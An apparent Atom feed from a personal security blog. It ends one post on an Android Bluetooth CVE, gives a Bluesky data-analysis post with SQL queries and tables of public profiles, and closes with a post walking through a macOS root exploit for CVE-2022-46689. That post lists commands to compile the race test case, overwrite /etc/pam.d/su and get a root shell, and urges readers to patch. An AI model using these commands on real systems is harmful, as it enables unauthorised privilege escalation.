  <li>the members of <a href="https://github.com/FreeXR">FreeXR</a> and XRBreak for their support.</li>
</ul>

<h2 id="what-i-learned">What I learned</h2>

<ul>
  <li>Far too much about the Android Bluetooth stack</li>
  <li>How to write Bluetooth services in Bumble</li>
  <li>How Bluetooth protocols, such as L2CAP, SDP, RFCOMM, Headset Client, and AVRCP/AVCTP work</li>
  <li>How to (kinda…) <a href="https://notnow.dev/notice/AzvNJ51CKQ6XJv63qS">forward</a> Android Emulator’s Bluetooth into another Linux VM</li>
  <li>How to use Frida to instrument Android apps. This was crucial for <a href="https://github.com/zhuowei/blueshrimp/blob/main/dumpbt.js">logging</a> when the database is freed and what malloc re-allocated it.</li>
  <li>How to capture Bluetooth traffic on physical Android devices, thanks to <a href="https://wejn.org/2021/04/streaming-bluetooth-capture-to-wireshark-without-btsnoop-net/">wejn’s guide</a></li>
</ul>]]></content><author><name></name></author><category term="bluetooth," /><category term="android" /><summary type="html"><![CDATA[CVE-2025-48593, patched in November’s Android Security Bulletin, only affects devices that support acting as Bluetooth headphones / speakers, such as some smartwatches, smart glasses, and cars.]]></summary></entry><entry><title type="html">I downloaded all 1,680,399 posts on Bluesky</title><link href="https://worthdoingbadly.com/bsky/" rel="alternate" type="text/html" title="I downloaded all 1,680,399 posts on Bluesky" /><published>2023-05-06T00:00:00+00:00</published><updated>2023-05-06T00:00:00+00:00</updated><id>https://worthdoingbadly.com/bsky</id><content type="html" xml:base="https://worthdoingbadly.com/bsky/"><![CDATA[<p>I downloaded all the posts on <a href="https://bsky.app">Bluesky</a> as of 2023-05-01. Then I did some data analysis on the 1680399 posts from 45457 accounts.</p>

<h2 id="queries-i-tried">Queries I tried</h2>

<p>Top 10 accounts with most followers:</p>

<p><code class="language-plaintext highlighter-rouge">select * from profile order by (select count(1) from follow where "subjectDid" = profile.creator) desc limit 10;</code></p>

<p>Output:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                                uri                                |                             cid                             |             creator              |            displayName            |                                                                     description                                                                      |                          avatarCid                          |                          bannerCid                          |        indexedAt         
-------------------------------------------------------------------+-------------------------------------------------------------+----------------------------------+-----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------+-------------------------------------------------------------+--------------------------
 at://did:plc:oky5czdrnfjpqslsw2a5iclo/app.bsky.actor.profile/self | bafyreifjtax5wqyn6zl7h737mfnnk63l5kdep3t2auo75z6awwinr5pq5q | did:plc:oky5czdrnfjpqslsw2a5iclo | Jay 🦋                             | CEO of Bluesky, steward of AT Protocol. Let’s build a federated republic, starting with this server.                                                +| bafkreihquydaf5xer53afkmdefp2hpwbtqcgurxo2hsdkrpwpvm6uhkyg4 | bafkreicgnmvhtmj4arcvwhueygbwvkucd3odvom3lxtfmn6wlqbh3yf7p4 | 2023-05-02T03:23:27.059Z
                                                                   |                                                             |                                  |                                   |                                                                                                                                                     +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                                   | Nature, knowledge, technology. I like to think of a cybernetic forest. 🌱 🪴 🌳                                                                         |                                                             |                                                             | 
 at://did:plc:6fktaamhhxdqb2ypum33kbkj/app.bsky.actor.profile/self | bafyreiaugm44rvh7uc7agdqlx4yfxublurrnkjileb24lwyky4csgukz2m | did:plc:6fktaamhhxdqb2ypum33kbkj | jack                              |                                                                                                                                                      | bafkreigzezczfmvygzhf4d4el5ihh5lrt6dtdilxgcmyu3ikusit36cebi |                                                             | 2023-05-02T03:24:39.506Z
 at://did:plc:z72i7hdynmk6r22z27h6tvur/app.bsky.actor.profile/self | bafyreibqffus4eyyivya3gg22leqy55cbwxyihqtyuenceevc4bwvbk4h4 | did:plc:z72i7hdynmk6r22z27h6tvur | Bluesky                           | Official bluesky account (check domain 👆)                                                                                                           +| bafkreic5kmqlhrhbfnh2bx6fsetvkra4noqja5ngsnnadrvubd6jcoc3ae | bafkreif7lzr3l7ysgwfuiv7q6rtlyebup2mizdgmbhmsunowspiq7m4oee | 2023-05-02T18:08:51.736Z
                                                                   |                                                             |                                  |                                   |                                                                                                                                                     +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                                   | Follow for updates and announcements                                                                                                                 |                                                             |                                                             | 
 at://did:plc:ragtjsm2j2vknwkz3zp4oxrd/app.bsky.actor.profile/self | bafyreigyr7jtqlzftcfrfznjhmwqevzdzgih6vio3v5jl6rcbpycbqus5u | did:plc:ragtjsm2j2vknwkz3zp4oxrd | Paul Frazee (all hoity toity now) | Developer at Bluesky. The one who puts bugs in this app.                                                                                             | bafkreiftyjy6k3t2yi5hh7gwin4p4hkuhp3kqxbzbbzr4gjsgotvcyk73e | bafkreibhvcmv3ziagszmfdgxj3r6z3ivllcfnirhxux4stpifr3xifqjpu | 2023-05-02T03:20:44.736Z
 at://did:plc:p7gxyfr5vii5ntpwo7f6dhe2/app.bsky.actor.profile/self | bafyreibx3xvykykele3dt2i2sogotsnmmckrlqisqcwqmkus6cfjjw56oa | did:plc:p7gxyfr5vii5ntpwo7f6dhe2 | Alexandria Ocasio-Cortez          | Congresswoman for NY14, repping the Bronx and Queens. Grassroots progressive. Funded by everyday people, not lobbyists. A better world is possible. +| bafkreia7pjciqmezep36yotfgas23eie47sy5ymcorzd7exejlxtiox6by |                                                             | 2023-05-05T20:01:01.550Z
                                                                   |                                                             |                                  |                                   |                                                                                                                                                     +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                                   | ocasiocortez.com/about                                                                                                                               |                                                             |                                                             | 
 at://did:plc:vpkhqolt662uhesyj6nxm7ys/app.bsky.actor.profile/self | bafyreiana5uck6quyl53dux5bvpgghecynzlviqzvej6sz547fchsv5dcy | did:plc:vpkhqolt662uhesyj6nxm7ys | Uai?                              | Technical advisor to @bluesky, first engineer at Protocol Labs. Wizard Utopian                                                                       | bafkreihxiic7f65slclhzy3aanyvrclotyvatwmd7lct4g4bwfvnzqlexa | bafkreihxbkzsboqivoqlzaii7ye5ykp3xztbwcnjuos7bbz6zd5irndnqi | 2023-05-02T03:22:09.523Z
 at://did:plc:cm4bwax4evxmkiuwxvvkvlmx/app.bsky.actor.profile/self | bafyreifvf5xxqg7ggw2g2wqfh62y5e5efphna3hbljeg3mduo22up4ey44 | did:plc:cm4bwax4evxmkiuwxvvkvlmx | Thomas Pockrandt                  | Tech Advisor &amp; Digital Strategist 🦾                                                                                                                 +| bafkreidvjlqht65wd64dae5etrgh2xodgubeyoryxu7nugmcdzwv2qk4jq | bafkreid3272rix3d7o5s5umqvfo5alzmhjwzmdfne4hkommwpf5wjqpchu | 2023-05-02T06:25:23.203Z
                                                                   |                                                             |                                  |                                   |                                                                                                                                                     +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                                   | https://thomaspockrandt.com                                                                                                                          |                                                             |                                                             | 
 at://did:plc:pdac24jyypwultrppa457voe/app.bsky.actor.profile/self | bafyreicnkal36xuktylcvzkvhmzrmvklrwbm5jpuvmxfjfoeiztehkiahu | did:plc:pdac24jyypwultrppa457voe | Vishal Gulia 🌞                    | Bluesky’s first memer, early adopter &amp; investor of decentralised social. My mission is to spread humour and joy.                                    +| bafkreihr76fl52k43wklwxtklkhr7tiww7cudjzphxauh6whvf6ohlqmri | bafkreiclaok4chj6g5kvruro7ai7kxtpmyn47lou6g23qt4uw2z2bcfequ | 2023-05-02T05:29:14.433Z
                                                                   |                                                             |                                  |                                   |                                                                                                                                                     +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                                   | www.diamondapp.com/u/VishalGulia                                                                                                                     |                                                             |                                                             | 
 at://did:plc:36tmqxxepo5jlx54peygtx6i/app.bsky.actor.profile/self | bafyreieuchpwxvnjirvsk4adcllnqjxlcor32z3236nx5duvizloevlsvm | did:plc:36tmqxxepo5jlx54peygtx6i | Cat                               | Cats lover                                                                                                                                           | bafkreig24kwjk4kucmeqlgmux2czvgqvbax43w4ovcukfr6rv2yy36chve | bafkreiagc3lyyet62ioy476zja5azjmaax55nakfztslffsggqequjchhu | 2023-05-02T05:54:08.760Z
 at://did:plc:6wpkkitfdkgthatfvspcfmjo/app.bsky.actor.profile/self | bafyreigdmlufln4autqiggpgpi4hwjtlljalrvqpzg5xc6ur6sfpjqirze | did:plc:6wpkkitfdkgthatfvspcfmjo | wint                              | Pussy                                                                                                                                                | bafkreiggofiqpdnz6tfajmu7i5gdqyl7j27h22bqivpmkymuzwd5kcudfm |                                                             | 2023-05-05T18:33:35.121Z
(10 rows)

</code></pre></div></div>

<p>Top 10 accounts following the most users:</p>

<p><code class="language-plaintext highlighter-rouge">select * from profile order by (select count(1) from follow where "creator" = profile.creator) desc limit 10;</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                                uri                                |                             cid                             |             creator              |         displayName         |                                                   description                                                    |                          avatarCid                          |                          bannerCid                          |        indexedAt         
-------------------------------------------------------------------+-------------------------------------------------------------+----------------------------------+-----------------------------+------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------+-------------------------------------------------------------+--------------------------
 at://did:plc:md6i2csjmkfoie6u4ot4kjmn/app.bsky.actor.profile/self | bafyreifj6qpnx5lsh7nwoisfal2bgzojfyqymtnjicjpboiyqblr54tkje | did:plc:md6i2csjmkfoie6u4ot4kjmn | Eddie Silva                 | Al enthusiast | writer | Coffee lover ☕️                                                                         +| bafkreib3g5pqdsyuidrcs4k7etaibpivoj5tfgu5oqvy6fewyfrga6hnzm | bafkreiatd5br5szcttcnchjusmzqvxcrrg4pe2wjzsggwbfkogpjnwqjia | 2023-05-02T19:15:11.388Z
                                                                   |                                                             |                                  |                             |                                                                                                                 +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | Bsky Unauthorized User Counter 🫣                                                                                +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             |                                                                                                                 +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | Most of the images posted here are generated by AI.                                                             +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | 🇺🇸 English  🇧🇷 Português                                                                                         |                                                             |                                                             | 
 at://did:plc:cm4bwax4evxmkiuwxvvkvlmx/app.bsky.actor.profile/self | bafyreifvf5xxqg7ggw2g2wqfh62y5e5efphna3hbljeg3mduo22up4ey44 | did:plc:cm4bwax4evxmkiuwxvvkvlmx | Thomas Pockrandt            | Tech Advisor &amp; Digital Strategist 🦾                                                                             +| bafkreidvjlqht65wd64dae5etrgh2xodgubeyoryxu7nugmcdzwv2qk4jq | bafkreid3272rix3d7o5s5umqvfo5alzmhjwzmdfne4hkommwpf5wjqpchu | 2023-05-02T06:25:23.203Z
                                                                   |                                                             |                                  |                             |                                                                                                                 +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | https://thomaspockrandt.com                                                                                      |                                                             |                                                             | 
 at://did:plc:2rhgf24qcpdxuscon3gwp6it/app.bsky.actor.profile/self | bafyreid5m5u5ievdwjkm32yi2xcndj3lihvnky7u65dusolgmmif4ix3w4 | did:plc:2rhgf24qcpdxuscon3gwp6it | Mr.Preet⭐                   | Fullstack Developer 🇮🇳                                                                                          +| bafkreiacw5l67mam5pa3utpe7ifc4ytyh4rthf5c5t2ksfqk37adtt2dtu | bafkreidfz3xzmtw3mo7dcxcwt6xaag3qxb33wccxmqxtxoy6fno54sn65a | 2023-05-02T10:03:38.126Z
                                                                   |                                                             |                                  |                             |                                                                                                                 +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | Founder: Pinsta.xyz                                                                                             +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | Co-Founder: CircleIt.app                                                                                        +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | Twitter: https://twitter.com/jsonpreet                                                                           |                                                             |                                                             | 
 at://did:plc:gavqr7yuapgfhfr4hvosjyoh/app.bsky.actor.profile/self | bafyreihmwxxxbt367thnmpmdqjk3jmutsprculfe3nudxxuxg6a65mawsi | did:plc:gavqr7yuapgfhfr4hvosjyoh | Nelson Coffee Roaster ☕️ 🐱🎸🏍 | コーヒー豆専門店「Nelson Coffee Roaster」                                                                       +| bafkreifrqxhra4mmipyqazvzgr5fhuundm3qrx7y5pd4flrx27msjy3gji | bafkreifownbu3froekogegccc4goehgadavrilzsqk3twynyqatx7ygo7a | 2023-05-02T18:23:12.402Z
                                                                   |                                                             |                                  |                             | コーヒー業界30年                                                                                                +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | 家にネコがいます🐱                                                                                               +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | フォローは手動✋                                                                                                 +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | コーヒー豆EC☕️🫘 https://ncr.official.ec                                                                          +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | All languages ​​other than Japanese are machine translated.                                                      |                                                             |                                                             | 
 at://did:plc:4usvqnzxonnvz2hyvx2msr4h/app.bsky.actor.profile/self | bafyreibmtutsbpjm33vozzszmurjt5242djdpscjpl2wrqo7jvgfq5w5eu | did:plc:4usvqnzxonnvz2hyvx2msr4h | caleb 2                     | in the clouds. He / They                                                                                        +| bafkreigpk7b6baruwsqpp7et6zpdhjxu7a4gnxxgrwmino2tedugpvqdwy | bafkreig7fqucnf7nnkdel56l5pgjji3q4oeof4y3rnfqdh3uocwkjwu4sa | 2023-05-02T04:49:59.907Z
                                                                   |                                                             |                                  |                             |                                                                                                                 +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | welcome to my alt, unofficial posts here.                                                                        |                                                             |                                                             | 
 at://did:plc:f7du5s6xe4fza2gixnynvzxq/app.bsky.actor.profile/self | bafyreiakdkt7rccq3tjsqbcjtunzhhzyaupfsg4cau2t2oby4olc66fltm | did:plc:f7du5s6xe4fza2gixnynvzxq | shitpost machine 3000       | here to shitpost                                                                                                +| bafkreiec7nqaxcggbzvhmbvxqsp4ejkh5ehqqiiwhejffwk7dnmwyqbelm | bafkreic3gbl7ykso4ecmmn3mdi3m5kk47z6tbw6ana5a7rvpgtet6hy4pu | 2023-05-06T13:27:46.898Z
                                                                   |                                                             |                                  |                             | follow me for 69 years of good luck                                                                              |                                                             |                                                             | 
 at://did:plc:sbalnchbqyuqkwpjjy3zry7f/app.bsky.actor.profile/self | bafyreiezx2zfoewcmurhc6zpaqsjxq6nfnriilvrrmlfmdquyhf2ihsdh4 | did:plc:sbalnchbqyuqkwpjjy3zry7f | Rie                         | Software Engineer, Professional Hugger, Femboy, 🏳️‍🌈                                                             +| bafkreih5mcnl63ancqcs3smd35a62ucj2dwasbnlwmc3fvy3cmxqlzsrum | bafkreiag3g3gapj7otvk3sjkdimbcoh2i56uzq32ytcqmixnx7bxk3fsru | 2023-05-05T20:48:47.941Z
                                                                   |                                                             |                                  |                             | read if cute                                                                                                     |                                                             |                                                             | 
 at://did:plc:pdac24jyypwultrppa457voe/app.bsky.actor.profile/self | bafyreicnkal36xuktylcvzkvhmzrmvklrwbm5jpuvmxfjfoeiztehkiahu | did:plc:pdac24jyypwultrppa457voe | Vishal Gulia 🌞              | Bluesky’s first memer, early adopter &amp; investor of decentralised social. My mission is to spread humour and joy.+| bafkreihr76fl52k43wklwxtklkhr7tiww7cudjzphxauh6whvf6ohlqmri | bafkreiclaok4chj6g5kvruro7ai7kxtpmyn47lou6g23qt4uw2z2bcfequ | 2023-05-02T05:29:14.433Z
                                                                   |                                                             |                                  |                             |                                                                                                                 +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | www.diamondapp.com/u/VishalGulia                                                                                 |                                                             |                                                             | 
 at://did:plc:36tmqxxepo5jlx54peygtx6i/app.bsky.actor.profile/self | bafyreieuchpwxvnjirvsk4adcllnqjxlcor32z3236nx5duvizloevlsvm | did:plc:36tmqxxepo5jlx54peygtx6i | Cat                         | Cats lover                                                                                                       | bafkreig24kwjk4kucmeqlgmux2czvgqvbax43w4ovcukfr6rv2yy36chve | bafkreiagc3lyyet62ioy476zja5azjmaax55nakfztslffsggqequjchhu | 2023-05-02T05:54:08.760Z
 at://did:plc:u66yy4dkibtqvckpvlpvhwbk/app.bsky.actor.profile/self | bafyreicewuhqzsm2fsjk3lpijoygn44gk3jii2vsseosjpwzoldbcduike | did:plc:u66yy4dkibtqvckpvlpvhwbk | Andrew Lombardi 💙☁️          | Head geek at Mystic Coders, software engineer, startup expert, father and passionate about PKM.                 +| bafkreiec5kwx4wghxhp55dr6xwv4gukp63vve67q3xmsxmoeuiah32xp5q | bafkreieba2zbdtjn6ynk75q2l7l4mqk243m55smx2koaz24dla7pvqjipu | 2023-05-03T15:50:57.710Z
                                                                   |                                                             |                                  |                             |                                                                                                                 +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | Former Sr SWE at Twitter                                                                                        +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             |                                                                                                                 +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | https://linktr.ee/kinabalu                                                                                      +|                                                             |                                                             | 
                                                                   |                                                             |                                  |                             | ko-fi: https://ko-fi.com/kinabalu                                                                                |                                                             |                                                             | 
(10 rows)
</code></pre></div></div>

<p>Top 3 most reposted posts:</p>

<p><code class="language-plaintext highlighter-rouge">select * from post order by (select count(1) from repost where post.uri = repost.subject) desc limit 3;</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                                  uri                                   |                             cid                             |             creator              |                                                                                                            text                                                                                                            | replyRoot | replyRootCid | replyParent | replyParentCid |        createdAt         |        indexedAt         |          sortAt          
------------------------------------------------------------------------+-------------------------------------------------------------+----------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------+--------------+-------------+----------------+--------------------------+--------------------------+--------------------------
 at://did:plc:dst5a7uf7wtatmp66p5ygzmw/app.bsky.feed.post/3juezhxkcrl2m | bafyreifg2433jfjkwn7qb34o6zrrecdygkxh22eku27scrtj3libz5chge | did:plc:dst5a7uf7wtatmp66p5ygzmw | guess where we’re complaining about it now bitch                                                                                                                                                                           |           |              |             |                | 2023-04-27T21:15:40.989Z | 2023-05-05T17:08:48.008Z | 2023-04-27T21:15:40.989Z
 at://did:plc:53kudcqj7sizx2eaclc5sicc/app.bsky.feed.post/3juhljm3c6o2p | bafyreiccsz6bh4g2chrwohruucshdgc6qdsyh45pcyvjochw5ojwhwdevi | did:plc:53kudcqj7sizx2eaclc5sicc | Reskeet if u think trans people are cool 😎                                                                                                                                                                                 |           |              |             |                | 2023-04-28T21:44:03.137Z | 2023-05-05T22:08:30.997Z | 2023-04-28T21:44:03.137Z
 at://did:plc:ragtjsm2j2vknwkz3zp4oxrd/app.bsky.feed.post/3jtqhia5mxe2z | bafyreibnoomzhzj7qhcphhdeufjur4egobufmhqpsbgowthhp4eomfzrt4 | did:plc:ragtjsm2j2vknwkz3zp4oxrd | 📢 Android is finally here! 🎉                                                                                                                                                                                              +|           |              |             |                | 2023-04-19T17:00:27.839Z | 2023-05-02T03:20:44.736Z | 2023-04-19T17:00:27.839Z
                                                                        |                                                             |                                  |                                                                                                                                                                                                                           +|           |              |             |                |                          |                          | 
                                                                        |                                                             |                                  | Google takes a while to update their search so here’s the direct link:                                                                                                                                                    +|           |              |             |                |                          |                          | 
                                                                        |                                                             |                                  |                                                                                                                                                                                                                           +|           |              |             |                |                          |                          | 
                                                                        |                                                             |                                  | https://play.google.com/store/apps/details?id=xyz.blueskyweb.app&amp;hl=en_US                                                                                                                                                  |           |              |             |                |                          |                          | 
(3 rows)
</code></pre></div></div>

<p>Top 3 most liked posts:</p>

<p><code class="language-plaintext highlighter-rouge">select * from post order by (select count(1) from "like" as l where post.uri = l.subject) desc limit 3;</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                                  uri                                   |                             cid                             |             creator              |                                                                                                            text                                                                                                            | replyRoot | replyRootCid | replyParent | replyParentCid |        createdAt         |        indexedAt         |          sortAt          
------------------------------------------------------------------------+-------------------------------------------------------------+----------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------+--------------+-------------+----------------+--------------------------+--------------------------+--------------------------
 at://did:plc:dst5a7uf7wtatmp66p5ygzmw/app.bsky.feed.post/3juezhxkcrl2m | bafyreifg2433jfjkwn7qb34o6zrrecdygkxh22eku27scrtj3libz5chge | did:plc:dst5a7uf7wtatmp66p5ygzmw | guess where we’re complaining about it now bitch                                                                                                                                                                           |           |              |             |                | 2023-04-27T21:15:40.989Z | 2023-05-05T17:08:48.008Z | 2023-04-27T21:15:40.989Z
 at://did:plc:oky5czdrnfjpqslsw2a5iclo/app.bsky.feed.post/3jukkbpk5ak2m | bafyreidziqiimnaynh47bt6ybuue2csp5mk3gnpxhnv7onoe4glosdmhty | did:plc:oky5czdrnfjpqslsw2a5iclo | Nobody has a right to access an invite-only closed beta, and if they are creating an account exclusively to jump in and harass people in replies they will be removed.                                                     |           |              |             |                | 2023-04-30T01:59:43.405Z | 2023-05-02T03:23:27.059Z | 2023-04-30T01:59:43.405Z
 at://did:plc:p7gxyfr5vii5ntpwo7f6dhe2/app.bsky.feed.post/3juma3uvbuv22 | bafyreic7xiwblku7pvmu5vxpjdfewphrff53dqct7e62x3mpzjhaa7fgcq | did:plc:p7gxyfr5vii5ntpwo7f6dhe2 | I just want a place to poast and roast without a) nazis and b) the New York Times writing an editorial about it like “aoc said nazis are bad. Is she wrong? We went on a diner date with harlan crow’s PR guy to find out” |           |              |             |                | 2023-04-30T18:02:49.778Z | 2023-05-05T20:01:01.550Z | 2023-04-30T18:02:49.778Z
(3 rows)
</code></pre></div></div>

<p>Top 3 most replied posts:</p>

<p><code class="language-plaintext highlighter-rouge">select * from post order by (select count(1) from post as reply where post.uri = "replyParent") desc limit 3;</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                                  uri                                   |                             cid                             |             creator              |                                                                                          text                                                                                           | replyRoot | replyRootCid | replyParent | replyParentCid |        createdAt         |        indexedAt         |          sortAt          
------------------------------------------------------------------------+-------------------------------------------------------------+----------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------+--------------+-------------+----------------+--------------------------+--------------------------+--------------------------
 at://did:plc:oky5czdrnfjpqslsw2a5iclo/app.bsky.feed.post/3jt5pfybq6u2q | bafyreie22vh3vqkdt4kbcfdxfbpmwcfexqg5ovgaqemx2h7nrwelh3o6zi | did:plc:oky5czdrnfjpqslsw2a5iclo | New invite thread —                                                                                                                                                                    +|           |              |             |                | 2023-04-12T06:01:47.209Z | 2023-05-02T03:23:27.059Z | 2023-04-12T06:01:47.209Z
                                                                        |                                                             |                                  |                                                                                                                                                                                        +|           |              |             |                |                          |                          | 
                                                                        |                                                             |                                  | If you want invites, message me here instead of commenting on other threads.                                                                                                           +|           |              |             |                |                          |                          | 
                                                                        |                                                             |                                  |                                                                                                                                                                                        +|           |              |             |                |                          |                          | 
                                                                        |                                                             |                                  | I got access to a cli tool why.bsky.world built to drop invites into your accounts today. 😈😇                                                                                           +|           |              |             |                |                          |                          | 
                                                                        |                                                             |                                  |                                                                                                                                                                                        +|           |              |             |                |                          |                          | 
                                                                        |                                                             |                                  | May or may not distribute. 🪄                                                                                                                                                            |           |              |             |                |                          |                          | 
 at://did:plc:oky5czdrnfjpqslsw2a5iclo/app.bsky.feed.post/3juflvnb3d62u | bafyreiga6tugnvel3x4eb57wbkp5gbu2gpa7eiqmbyconpaedwdy7lvx6m | did:plc:oky5czdrnfjpqslsw2a5iclo | Guys, please don't let "skeets" stick                                                                                                                                                  +|           |              |             |                | 2023-04-28T02:45:27.170Z | 2023-05-02T03:23:27.059Z | 2023-04-28T02:45:27.170Z
                                                                        |                                                             |                                  |                                                                                                                                                                                        +|           |              |             |                |                          |                          | 
                                                                        |                                                             |                                  | The experiment in decentralized naming decisions has resulted in the worst possible term                                                                                               +|           |              |             |                |                          |                          | 
                                                                        |                                                             |                                  |                                                                                                                                                                                        +|           |              |             |                |                          |                          | 
                                                                        |                                                             |                                  | How about skoots? Can we bring back skoots? Bluesky OGs, help me out here, remember skoots?                                                                                             |           |              |             |                |                          |                          | 
 at://did:plc:p7gxyfr5vii5ntpwo7f6dhe2/app.bsky.feed.post/3jupcszqouk2o | bafyreieauaougusit3dzl5hcztnohdxlpebhqfhnj6fhv2j5oggjopaq3u | did:plc:p7gxyfr5vii5ntpwo7f6dhe2 | Right now! AMA                                                                                                                                                                          |           |              |             |                | 2023-05-01T23:29:33.444Z | 2023-05-05T20:01:01.550Z | 2023-05-01T23:29:33.444Z                                                          |                                  | I'm here to shitpost &amp; talk tech mostly, but just so you know where I stand when civil war breaks out                                                                                   |           |              |             |                |                          |                          | 
(3 rows)
</code></pre></div></div>

<p>Top 10 longest threads:</p>

<p><code class="language-plaintext highlighter-rouge">select count(uri), "replyRoot" from post group by "replyRoot" order by count(uri) desc limit 10;</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> count  |                               replyRoot                                
--------+------------------------------------------------------------------------
 697077 | 
  21347 | at://did:plc:nx3kofpg4oxmkonqr6su5lw4/app.bsky.feed.post/3juhgsu4tpi2e
   8623 | at://did:plc:kcevumnk4gjxyegqwbubpajo/app.bsky.feed.post/3julld7hob62y
   2412 | at://did:plc:hdfrgtchoulcxlfzl2qsqdec/app.bsky.feed.post/3juiawxjnuk2y
   2046 | at://did:plc:alrwn2rkxotdsyfnn27op6e7/app.bsky.feed.post/3jtz3qo6zjl23
   1984 | at://did:plc:tuett6q54evdlpvezox5j5zi/app.bsky.feed.post/3juhth2jgyl2r
   1980 | at://did:plc:hsqwcidfez66lwm3gxhfv5in/app.bsky.feed.post/3jucndteqnk2l
   1972 | at://did:plc:izlc5ki5pat26fiammhyfv23/app.bsky.feed.post/3jukv52q4es2a
   1330 | at://did:plc:g74vihxy7k6vsjxwus7g4sn6/app.bsky.feed.post/3juh447up7i2m
   1118 | at://did:plc:7owy6yfqghzcnhskb2a3cg56/app.bsky.feed.post/3jukw75cawu26
(10 rows)
</code></pre></div></div>

<h2 id="how-i-downloaded-it">How I downloaded it</h2>

<ul>
  <li>Listed all users by calling <a href="https://atproto.com/lexicons/com-atproto-sync#comatprotosynclistrepos">https://bsky.social/xrpc/com.atproto.sync.listRepos</a></li>
  <li>Started Bluesky’s <a href="https://github.com/bluesky-social/atproto">Bsky server</a></li>
  <li>called <a href="https://github.com/bluesky-social/atproto/blob/aabbf43a7f86b37cefbba614d408534b59f59525/packages/bsky/src/services/indexing/index.ts#L110">indexRepo</a> for every user in the list to let the Bsky server download each user’s data via the federation protocol. (<a href="https://github.com/zhuowei/atproto/blob/dev20230501/packages/bsky/src/api/force-pull.ts#L7">code</a>)</li>
</ul>

<h2 id="what-i-learned">What I learned</h2>

<ul>
  <li>How to download Bluesky data</li>
  <li>How to use GNU Parallel</li>
  <li>How to use DigitalOcean Spaces</li>
  <li>(Edit:) OneDrive is a terrible way to serve files</li>
</ul>]]></content><author><name></name></author><category term="bluesky" /><summary type="html"><![CDATA[I downloaded all the posts on Bluesky as of 2023-05-01. Then I did some data analysis on the 1680399 posts from 45457 accounts.]]></summary></entry><entry><title type="html">Get root on macOS 13.0.1 with CVE-2022-46689, the macOS Dirty Cow bug</title><link href="https://worthdoingbadly.com/macdirtycow/" rel="alternate" type="text/html" title="Get root on macOS 13.0.1 with CVE-2022-46689, the macOS Dirty Cow bug" /><published>2022-12-17T00:00:00+00:00</published><updated>2022-12-17T00:00:00+00:00</updated><id>https://worthdoingbadly.com/macdirtycow</id><content type="html" xml:base="https://worthdoingbadly.com/macdirtycow/"><![CDATA[<p>Get root on macOS 13.0.1 with <a href="https://support.apple.com/en-us/HT213532">CVE-2022-46689</a> (macOS equivalent of the Dirty Cow bug), using the testcase extracted from <a href="https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c">Apple’s XNU source</a>.</p>

<h2 id="usage">Usage</h2>

<p>On a macOS 13.0.1 / 12.6.1 (or below) machine, clone the extracted test case:</p>

<p>git clone <a href="https://github.com/zhuowei/MacDirtyCowDemo">https://github.com/zhuowei/MacDirtyCowDemo</a></p>

<p>Then run:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su &gt; overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su
</code></pre></div></div>

<p>You should get:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2# 
</code></pre></div></div>

<p>Tested on macOS 13 beta (22A5266r) with SIP off (it should still work with SIP on).</p>

<p>If your system is fully patched (macOS 13.1 / 12.6.2), it should instead read:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
</code></pre></div></div>

<p>and running <code class="language-plaintext highlighter-rouge">su</code> should still ask for a password.</p>

<p>Thanks to Sealed System Volume, running this on any file on the <code class="language-plaintext highlighter-rouge">/System</code> volume only modifies the file temporarily: It’s reverted on reboot. Running it on a file on a writeable volume will preserve the modification after a reboot.</p>

<h2 id="should-i-be-worried">Should I be worried?</h2>

<p>If you installed the latest macOS update (macOS 13.1 / 12.6.2 / 11.7.2), you should be fine.</p>

<p>If you haven’t, do it now.</p>

<h2 id="will-this-be-useful-for-ios-jailbreak">Will this be useful for iOS jailbreak?</h2>

<p>Probably not.</p>

